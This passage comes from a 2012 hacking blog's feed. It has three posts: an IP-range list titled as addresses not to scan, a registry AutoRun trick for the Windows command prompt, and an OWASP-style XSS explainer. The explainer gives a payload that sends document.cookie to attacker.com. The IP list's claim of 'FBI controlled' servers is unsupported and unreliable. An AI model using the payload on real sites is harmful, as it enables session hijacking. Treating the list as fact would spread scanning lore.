205.96.* - 205.103.*&lt;br /&gt;
&lt;br /&gt;
RANGE 207&lt;br /&gt;
207.30.* Sprint/United Telephone of Florida&lt;br /&gt;
&lt;br /&gt;
All the below are FBI controlled Linux servers &amp;amp; IPs/IP-Ranges&lt;br /&gt;
&lt;br /&gt;
207.60.0.0 - 207.60.255.0 The Internet Access Company&lt;br /&gt;
207.60.2.128 - 207.60.2.255 Abacus Technology&lt;br /&gt;
207.60.3.0 - 207.60.3.127 Mass Electric Construction Co.&lt;br /&gt;
207.60.3.128 - 207.60.3.255 Peabody Proberties Inc&lt;br /&gt;
207.60.4.0 - 207.60.4.127 Northern Electronics&lt;br /&gt;
207.60.4.128 - 207.60.4.255 Posternak, Blankstein &amp;amp; Lund&lt;br /&gt;
207.60.5.64 - 207.60.5.127 Woodard &amp;amp; Curran&lt;br /&gt;
207.60.5.192 - 207.60.5.255 On Line Services&lt;br /&gt;
207.60.6.0 - 207.60.6.63 The 400 Group&lt;br /&gt;
207.60.6.64 - 207.60.6.127 RD Hunter and Company&lt;br /&gt;
207.60.6.128 - 207.60.6.191 Louis Berger and Associates&lt;br /&gt;
207.60.6.192 - 207.60.6.255 Ross-Simons&lt;br /&gt;
207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank&lt;br /&gt;
207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee&lt;br /&gt;
207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc&lt;br /&gt;
207.60.8.0 - 207.60.8.255 Sippican&lt;br /&gt;
207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co&lt;br /&gt;
207.60.9.32 - 207.60.9.63 Escher Group Ltd&lt;br /&gt;
207.60.9.64 - 207.60.9.95 West Suburban Elder&lt;br /&gt;
207.60.9.96 - 207.60.9.127 Central Bank&lt;br /&gt;
207.60.9.128 - 207.60.9.159 Danick Systems&lt;br /&gt;
207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO&lt;br /&gt;
207.60.9.192 - 207.60.9.223 BSCC&lt;br /&gt;
207.60.13.16 - 207.60.13.23 Patrons Insurance Group&lt;br /&gt;
207.60.13.40 - 207.60.13.47 Athera Technologies&lt;br /&gt;
207.60.13.48 - 207.60.13.55 Service Edge Partners Inc&lt;br /&gt;
207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League&lt;br /&gt;
207.60.13.64 - 207.60.13.71 SierraCom&lt;br /&gt;
207.60.13.72 - 207.60.13.79 AI/ FOCS&lt;br /&gt;
207.60.13.80 - 207.60.13.87 Extreme soft&lt;br /&gt;
207.60.13.96 - 207.60.13.103 Eaton Seo Corp&lt;br /&gt;
207.60.13.112 - 207.60.13.119 C. White&lt;br /&gt;
207.60.13.120 - 207.60.13.127 Athera&lt;br /&gt;
207.60.13.128 - 207.60.13.135 Entropic Systems, INC&lt;br /&gt;
207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates&lt;br /&gt;
207.60.13.160 - 207.60.13.167 Jamestown Distribution&lt;br /&gt;
207.60.13.168 - 207.60.13.175 C&amp;amp;M Computers&lt;br /&gt;
207.60.13.176 - 207.60.13.183 ABC Used Auto Parts&lt;br /&gt;
207.60.13.184 - 207.60.13.191 Tomas Weldon&lt;br /&gt;
207.60.13.192 - 207.60.13.199 Tage Inns&lt;br /&gt;
207.60.13.200 - 207.60.13.207 Control Module Inc&lt;br /&gt;
207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems&lt;br /&gt;
207.60.13.216 - 207.60.13.223 Eastern Bearings&lt;br /&gt;
207.60.13.224 - 207.60.13.231 North Shore Data Services&lt;br /&gt;
207.60.13.232 - 207.60.13.239 Mas New Hampshire&lt;br /&gt;
207.60.14.0 - 207.60.14.255 J. A. Webster&lt;br /&gt;
207.60.15.0 - 207.60.15.127 Trilogic&lt;br /&gt;
207.60.16.0 - 207.60.16.255 Area 54&lt;br /&gt;
207.60.18.0 - 207.60.18.63 Vested Development Inc&lt;br /&gt;
207.60.18.64 - 207.60.18.127 Conventures&lt;br /&gt;
207.60.21.0 - 207.60.21.255 Don Law Company&lt;br /&gt;
207.60.22.0 - 207.60.22.255 Advanced Microsensors&lt;br /&gt;
207.60.28.0 - 207.60.28.63 Applied Business Center&lt;br /&gt;
207.60.28.64 - 207.60.28.127 Color and Design Exchange&lt;br /&gt;
207.60.36.8 - 207.60.36.15 Shaun McCusker&lt;br /&gt;
207.60.36.16 - 207.60.36.23 Town of Framingham&lt;br /&gt;
207.60.36.24 - 207.60.36.31 AB Software&lt;br /&gt;
207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc&lt;br /&gt;
207.60.36.40 - 207.60.36.47 Next Ticketing&lt;br /&gt;
207.60.36.48 - 207.60.36.55 Dulsi&lt;br /&gt;
207.60.36.56 - 207.60.36.63 The Internet Access Company&lt;br /&gt;
207.60.36.64 - 207.60.36.71 Maguire Group&lt;br /&gt;
207.60.36.72 - 207.60.36.79 Cogenex&lt;br /&gt;
207.60.36.88 - 207.60.36.95 AKNDC&lt;br /&gt;
207.60.36.96 - 207.60.36.103 McGovern election commitee&lt;br /&gt;
207.60.36.104 - 207.60.36.111 Digital Equipment Corp&lt;br /&gt;
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies&lt;br /&gt;
207.60.36.120 - 207.60.36.127 Extech&lt;br /&gt;
207.60.36.128 - 207.60.36.135 Manfreddi Architects&lt;br /&gt;
207.60.36.144 - 207.60.36.151 Parent Naffah&lt;br /&gt;
207.60.36.152 - 207.60.36.159 Darling Dolls Inc&lt;br /&gt;
207.60.36.160 - 207.60.36.167 Wright Communications&lt;br /&gt;
207.60.36.168 - 207.60.36.175 Principle Software&lt;br /&gt;
207.60.36.176 - 207.60.36.183 Chris Pet Store&lt;br /&gt;
207.60.36.184 - 207.60.36.191 Fifteen Lilies&lt;br /&gt;
207.60.36.192 - 207.60.36.199 All-Com Technologies&lt;br /&gt;
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A.&lt;br /&gt;
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc&lt;br /&gt;
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors&lt;br /&gt;
207.60.37.96 - 207.60.37.127 Nelson Copy Supply&lt;br /&gt;
207.60.37.128 - 207.60.37.159 Boston Optical Fiber&lt;br /&gt;
207.60.37.192 - 207.60.37.223 Fantasia&amp;amp;Company&lt;br /&gt;
207.60.41.0 - 207.60.41.255 Infoactive&lt;br /&gt;
207.60.48.0 - 207.60.48.255 Curry College&lt;br /&gt;
207.60.62.32 - 207.60.62.63 Alternate Power Source&lt;br /&gt;
207.60.62.64 - 207.60.62.95 Keystone Howley-White&lt;br /&gt;
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD&lt;br /&gt;
207.60.62.160 - 207.60.62.191 County Supply&lt;br /&gt;
207.60.62.192 - 207.60.62.223 NH Board of Nursing&lt;br /&gt;
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies&lt;br /&gt;
207.60.64.64 - 207.60.64.127 Phytera&lt;br /&gt;
207.60.66.0 - 207.60.66.15 The Network Connection&lt;br /&gt;
207.60.66.16 - 207.60.66.31 Young Refrigeration&lt;br /&gt;
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology&lt;br /&gt;
207.60.66.48 - 207.60.66.63 EffNet Inc&lt;br /&gt;
207.60.66.64 - 207.60.66.79 Entropic Systems Inc&lt;br /&gt;
207.60.66.80 - 207.60.66.95 Finley Properties&lt;br /&gt;
207.60.66.96 - 207.60.66.111 Nancy Plowman Associates&lt;br /&gt;
207.60.66.112 - 207.60.66.127 Northeast Financial Strategies&lt;br /&gt;
207.60.66.128 - 207.60.66.143 Textnology Corp&lt;br /&gt;
207.60.66.144 - 207.60.66.159 Groton Neochem LLC&lt;br /&gt;
207.60.66.160 - 207.60.66.175 Tab Computers&lt;br /&gt;
207.60.66.176 - 207.60.66.191 Patrons Insurance&lt;br /&gt;
207.60.66.192 - 207.60.66.207 Chair City Web&lt;br /&gt;
207.60.66.208 - 207.60.66.223 Radex, Inc.&lt;br /&gt;
207.60.66.224 - 207.60.66.239 Robert Austein&lt;br /&gt;
207.60.66.240 - 207.60.66.255 Hologic Inc.&lt;br /&gt;
207.60.71.64 - 207.60.71.127 K-Tech International Inc.&lt;br /&gt;
207.60.71.128 - 207.60.71.191 Pan Communications&lt;br /&gt;
207.60.71.192 - 207.60.71.255 New England College of Finance&lt;br /&gt;
207.60.75.128 - 207.60.75.255 Absolve Technology&lt;br /&gt;
207.60.78.0 - 207.60.78.127 Extech&lt;br /&gt;
207.60.78.128 - 207.60.78.255 The Insight Group&lt;br /&gt;
207.60.83.0 - 207.60.83.255 JLM Technologies&lt;br /&gt;
207.60.84.0 - 207.60.84.255 Strategic Solutions&lt;br /&gt;
207.60.94.0 - 207.60.94.15 McWorks&lt;br /&gt;
207.60.94.32 - 207.60.94.47 Rooney RealEstate&lt;br /&gt;
207.60.94.48 - 207.60.94.63 Joseph Limo Service&lt;br /&gt;
207.60.94.64 - 207.60.94.79 The Portico Group&lt;br /&gt;
207.60.94.80 - 207.60.94.95 Event Travel Management Inc&lt;br /&gt;
207.60.94.96 - 207.60.94.111 Intellitech International&lt;br /&gt;
207.60.94.128 - 207.60.94.143 Orion Partners&lt;br /&gt;
207.60.94.144 - 207.60.94.159 Rainbow Software Solution&lt;br /&gt;
207.60.94.160 - 207.60.94.175 Grason Stadler Inc&lt;br /&gt;
207.60.94.192 - 207.60.94.207 Donnegan System&lt;br /&gt;
207.60.95.1 - 207.60.95.255 The Iprax Corp&lt;br /&gt;
207.60.102.0 - 207.60.102.63 Coporate IT&lt;br /&gt;
207.60.102.64 - 207.60.102.127 Putnam Technologies&lt;br /&gt;
207.60.102.128 - 207.60.102.191 Sycamore Networks&lt;br /&gt;
207.60.102.192 - 207.60.102.255 Bostek&lt;br /&gt;
2?7.6?.10?.128 - 207.60.103.255 Louis Berger and Associates&lt;br /&gt;
207.60.104.128 - 207.60.104.191 Hanson Data Systems&lt;br /&gt;
207.60.106.128 - 207.60.106.255 Giganet Inc.&lt;br /&gt;
207.60.107.0 - 207.60.107.255 Roll Systems&lt;br /&gt;
207.60.108.8 - 207.60.108.15 InternetQA&lt;br /&gt;
207.60.111.0 - 207.60.111.31 Reading Cooperative Bank&lt;br /&gt;
207.60.111.32 - 207.60.111.63 Edco collaborative&lt;br /&gt;
207.60.111.64 - 207.60.111.95 DTC Communications Inc&lt;br /&gt;
207.60.111.96 - 207.60.111.127 Mike Line&lt;br /&gt;
207.60.111.128 - 207.60.111.159 The Steppingstone Foundation&lt;br /&gt;
207.60.111.160 - 207.60.111.191 Caton Connector&lt;br /&gt;
207.60.111.192 - 207.60.111.223 Refron&lt;br /&gt;
207.60.111.224 - 207.60.111.255 Dolabany Comm Group&lt;br /&gt;
207.60.112.0 - 207.60.112.255 The CCS Companies&lt;br /&gt;
207.60.116.0 - 207.60.116.255 Continental PET Technologies&lt;br /&gt;
207.60.122.16 - 207.60.122.23 Corey &amp;amp; Company Designers Inc&lt;br /&gt;
207.60.122.24 - 207.60.122.31 SAIC&lt;br /&gt;
207.60.122.32 - 207.60.122.39 Netserve Entertainment Group&lt;br /&gt;
207.60.122.40 - 207.60.122.47 Avici Systems Inc&lt;br /&gt;
207.60.122.48 - 207.60.122.55 Webrdwne&lt;br /&gt;
207.60.122.56 - 207.60.122.63 Reality and Wonder&lt;br /&gt;
207.60.122.64 - 207.60.122.71 Nishan Desilva&lt;br /&gt;
207.60.122.72 - 207.60.122.79 NemaSoft Inc&lt;br /&gt;
207.60.122.80 - 207.60.122.87 Patrick Murphy&lt;br /&gt;
207.60.122.88 - 207.60.122.95 Corey and Company&lt;br /&gt;
207.60.122.96 - 207.60.122.103 Ames Textile Corp&lt;br /&gt;
207.60.122.104 - 207.60.122.111 Publicom&lt;br /&gt;
207.60.127.0 - Northstar Technologies&lt;br /&gt;
207.60.128.0 - 207.60.128.255 Northstar Technologies&lt;br /&gt;
207.60.129.0 - 207.60.129.255 Sanga Corp&lt;br /&gt;
207.60.129.64 - 207.60.129.127 Fired Up Network&lt;br /&gt;
207.60.129.128 - 207.60.129.191 Integrated Data Solutions&lt;br /&gt;
207.60.129.192 - 207.60.129.255 Metanext&lt;br /&gt;
207.61.* WorldLinx Telecommunications, Inc., Canada&lt;br /&gt;
207.120.* BBN Planet, MA&lt;br /&gt;
&lt;br /&gt;
RANGE 208&lt;br /&gt;
208.240.xxx.xxx&lt;br /&gt;
&lt;br /&gt;
RANGE 209&lt;br /&gt;
209.35.* Interland, Inc., GA&lt;br /&gt;
&lt;br /&gt;
RANGE 212&lt;br /&gt;
212.56.107.22&lt;br /&gt;
212.143 *** israelis isp&#39;s!! dont try those ranges!!&lt;br /&gt;
212.149.*** israelis isp&#39;s!! dont try those ranges!!&lt;br /&gt;
212.159.0.2&lt;br /&gt;
212.159.1.1&lt;br /&gt;
212.159.1.4&lt;br /&gt;
212.159.1.5&lt;br /&gt;
212.159.0.2&lt;br /&gt;
212.159.1.1&lt;br /&gt;
212.159.1.4&lt;br /&gt;
212.159.1.5&lt;br /&gt;
212.159.33.56&lt;br /&gt;
212.159.40.211&lt;br /&gt;
212.159.41.173&lt;br /&gt;
212.179.*** israelis isp&#39;s!! dont try those ranges!!&lt;br /&gt;
212.208.0.12.*** israelis isp&#39;s!! dont try those ranges!!&lt;br /&gt;
&lt;br /&gt;
RANGE 213&lt;br /&gt;
213.8.***.*** israelis isp&#39;s!! dont try those ranges!!&lt;br /&gt;
&lt;br /&gt;
RANGE 216&lt;br /&gt;
216.25.* 216.94.***.*** 216.247.* 216.248.*.* 217&lt;br /&gt;
217.6.* Do not scan&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/3182529927901423697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/08/important-ip-one-should-not-scan-these.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3182529927901423697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3182529927901423697'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/08/important-ip-one-should-not-scan-these.html' title='Important IP, One should not scan these.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-5295192114227503437</id><published>2012-07-26T23:19:00.001-07:00</published><updated>2012-07-26T23:19:00.775-07:00</updated><title type='text'>How to give your own default message on cmd prompt ?:Removing &quot;Microsoft Windows [Version 6.1.7601]</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hey there,&lt;br /&gt;To do the above trick:&lt;br /&gt;
1. Open registry Editor : run-&amp;gt; regedit.exe&lt;br /&gt;
2. Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor&lt;br /&gt;
3. Make a new key with &quot;String value&quot; : Right click on &quot;Command Processor&quot; -&amp;gt; new -&amp;gt; String value&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPmgPMO2rD2rdLi_5Ve8ZOkJhsgDGUTFT_76ckXHdKjjgMEgK1YvLZpSmamcf8LSoLqb6IrFvqFYgn8Br8YQApOL_aEya1fjUSha9r0llDRac3Ff337qWPIoYfC9h543eb8A-ENJ-TWyI/s1600/Untitled.png&quot; imageanchor=&quot;1&quot; style=&quot;clear:right; float:right; margin-left:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; width=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPmgPMO2rD2rdLi_5Ve8ZOkJhsgDGUTFT_76ckXHdKjjgMEgK1YvLZpSmamcf8LSoLqb6IrFvqFYgn8Br8YQApOL_aEya1fjUSha9r0llDRac3Ff337qWPIoYfC9h543eb8A-ENJ-TWyI/s320/Untitled.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;


4. Rename the key as &quot;AutoRun&quot; &lt;br /&gt;
5. Modify the key value with &quot;cls&quot; to remove the windows default message and then press OK&lt;br /&gt;
6. If u want to show your own message change the value of &quot;AutoRun&quot; with:&lt;br /&gt;&quot;&lt;a href=&quot;mailto:cls&amp;amp;&amp;amp;@echo&quot;&gt;cls&amp;amp;&amp;amp;@echo&lt;/a&gt; off&amp;amp;&amp;amp;echo Your Message&quot;&lt;br /&gt;
7. If u are familiar with the DOS commands then use them on &quot;AutoRun&quot; value by saperating them using &quot;&amp;amp;&amp;amp;&quot;&lt;br /&gt;
for example:&quot;&lt;a href=&quot;mailto:cls&amp;amp;&amp;amp;@echo&quot;&gt;cls&amp;amp;&amp;amp;@echo&lt;/a&gt; off&amp;amp;&amp;amp;echo .::Ready for a ride on Black Perl: This is &quot;Jack Sparrow&quot;::.&amp;amp;&amp;amp;@echo on&amp;amp;&amp;amp;prompt ?&quot; &lt;br /&gt;
Note: &quot;&amp;amp;&amp;amp;&quot; is used for concatination of two &quot;values&quot; (that are in this case DOS commands).&amp;nbsp; &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/5295192114227503437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/07/how-to-give-your-own-default-message-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5295192114227503437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5295192114227503437'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/07/how-to-give-your-own-default-message-on.html' title='How to give your own default message on cmd prompt ?:Removing &quot;Microsoft Windows [Version 6.1.7601]'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPmgPMO2rD2rdLi_5Ve8ZOkJhsgDGUTFT_76ckXHdKjjgMEgK1YvLZpSmamcf8LSoLqb6IrFvqFYgn8Br8YQApOL_aEya1fjUSha9r0llDRac3Ff337qWPIoYfC9h543eb8A-ENJ-TWyI/s72-c/Untitled.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-6290771793579623630</id><published>2012-06-15T19:48:00.001-07:00</published><updated>2012-11-02T13:09:14.302-07:00</updated><title type='text'>XSS(CROSS-SITE SCRIPTING)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;XSS flaws occur whenever an application takes untrusteddata and sends
it to a web browser without proper validation and escaping. XSS allows
attackers to execute scripts in the victim’s browser which can hijack user
sessions, deface web sites, or redirect the user to malicious sites.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 14.0pt; line-height: 115%; mso-bidi-font-size: 16.0pt; mso-bidi-font-weight: bold;&quot;&gt;&lt;b&gt;1)who is Vulnerable to XSS:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;line-height: 115%; mso-bidi-font-size: 10.0pt;&quot;&gt;You need to ensure that all user supplied input sent back to
the browser is verified to be safe (via input validation), and that user input
is properly escaped before it is included in the output page. Proper output
encoding ensures that such input is always treated as text in the browser,
rather than active content that might get executed.Both static and dynamic
tools can find some XSS problems automatically. However, each application
builds output pages differently and uses different browser side interpreters
such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated
detection difficult. Therefore, complete coverage requires a combination of&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuf0YrlYmORlr5188HNDY6Ap3ZqlnCMweSAKlRTqoqL3eYgbjKR6e101gMMEgET1rEgaVlF45bB9GcXq7VPBWGZ4FXDpaEvL0zp4EPvL2PFZchTlYdQOeBJa7xT-s7gAFhQVv6yo1zLaI/s1600/download+%25282%2529.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuf0YrlYmORlr5188HNDY6Ap3ZqlnCMweSAKlRTqoqL3eYgbjKR6e101gMMEgET1rEgaVlF45bB9GcXq7VPBWGZ4FXDpaEvL0zp4EPvL2PFZchTlYdQOeBJa7xT-s7gAFhQVv6yo1zLaI/s320/download+%25282%2529.jpg&quot; width=&quot;280&quot; /&gt;&lt;/a&gt;


manual code review and manual penetration testing, in addition to any automated
approaches in use.Web 2.0 technologies, such as AJAX, make XSS much more
difficult to detect via automated tools.&lt;/span&gt;&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 15.0pt; line-height: 115%; mso-bidi-font-size: 16.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 14.0pt; line-height: 115%; mso-bidi-font-size: 16.0pt; mso-bidi-font-weight: bold;&quot;&gt;&lt;b&gt;2)How to Prevent XSS attacks:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;Preventing XSS requires keeping untrusteddata separate from active
browser content.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot; style=&quot;margin-bottom: 3.5pt;&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;1.The preferred option is to properly escape
all untrusteddata based on the HTML context (body, attribute, JavaScript, CSS,
or URL) that the data will be placed into. Developers need to include this
escaping in their applications unless their UI framework does this for them. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot; style=&quot;margin-bottom: 3.5pt;&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;2.Positive or “whitelist” input validation is
also recommended as it helps protect against XSS, but is not a complete defense
as many applications must accept special characters. Such validation should
decode any encoded input, and then validate the length, characters, and format
on that data before accepting the input.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;3.Consider employing Mozilla’s new Content Security Policy that is
coming out in Firefox 4 to defend against XSS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 14.0pt; line-height: 115%; mso-bidi-font-size: 16.0pt; mso-bidi-font-weight: bold;&quot;&gt;&lt;b&gt;3)Attack scenario with
example:&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;The application uses untrusteddata in the construction of the following
HTML snippet without validation or escaping:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;(String) page += &quot;&amp;lt;input name=&#39;creditcard&#39;
type=&#39;TEXT‘value=&#39;&quot; + request.getParameter(&quot;CC&quot;) +
&quot;&#39;&amp;gt;&quot;;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;The attacker modifies the ‘CC’ parameter in their browser to:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&#39;&amp;gt;&amp;lt;script&amp;gt;document.location=&#39;http://www.attacker.com/cgi-bin/cookie.cgi?foo=&#39;+document.cookie&amp;lt;/script&amp;gt;&#39;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;This causes the victim’s session ID to be sent to the attacker’s
website, allowing the attacker to hijack the user’s current session. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;line-height: 115%; mso-bidi-font-size: 10.0pt;&quot;&gt;Note that attackers can also use XSS to defeat any automated
CSRF defense the application might employ. See A5 for info on CSR&lt;/span&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt; line-height: 115%;&quot;&gt;F.&lt;/span&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 14.0pt; line-height: 115%; mso-bidi-font-size: 16.0pt; mso-bidi-font-weight: bold;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/6290771793579623630/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/xss-cross-site-scripting-xss-flaws.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6290771793579623630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6290771793579623630'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/xss-cross-site-scripting-xss-flaws.html' title='XSS(CROSS-SITE SCRIPTING)'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuf0YrlYmORlr5188HNDY6Ap3ZqlnCMweSAKlRTqoqL3eYgbjKR6e101gMMEgET1rEgaVlF45bB9GcXq7VPBWGZ4FXDpaEvL0zp4EPvL2PFZchTlYdQOeBJa7xT-s7gAFhQVv6yo1zLaI/s72-c/download+%25282%2529.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-257443103049758302</id><published>2012-06-15T19:39:00.001-07:00</published><updated>2012-11-02T13:10:15.108-07:00</updated><title type='text'>Top most 10 Network security concern: </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt; mso-bidi-font-weight: bold;&quot;&gt;Top most 10 security concern is given below. These were major security
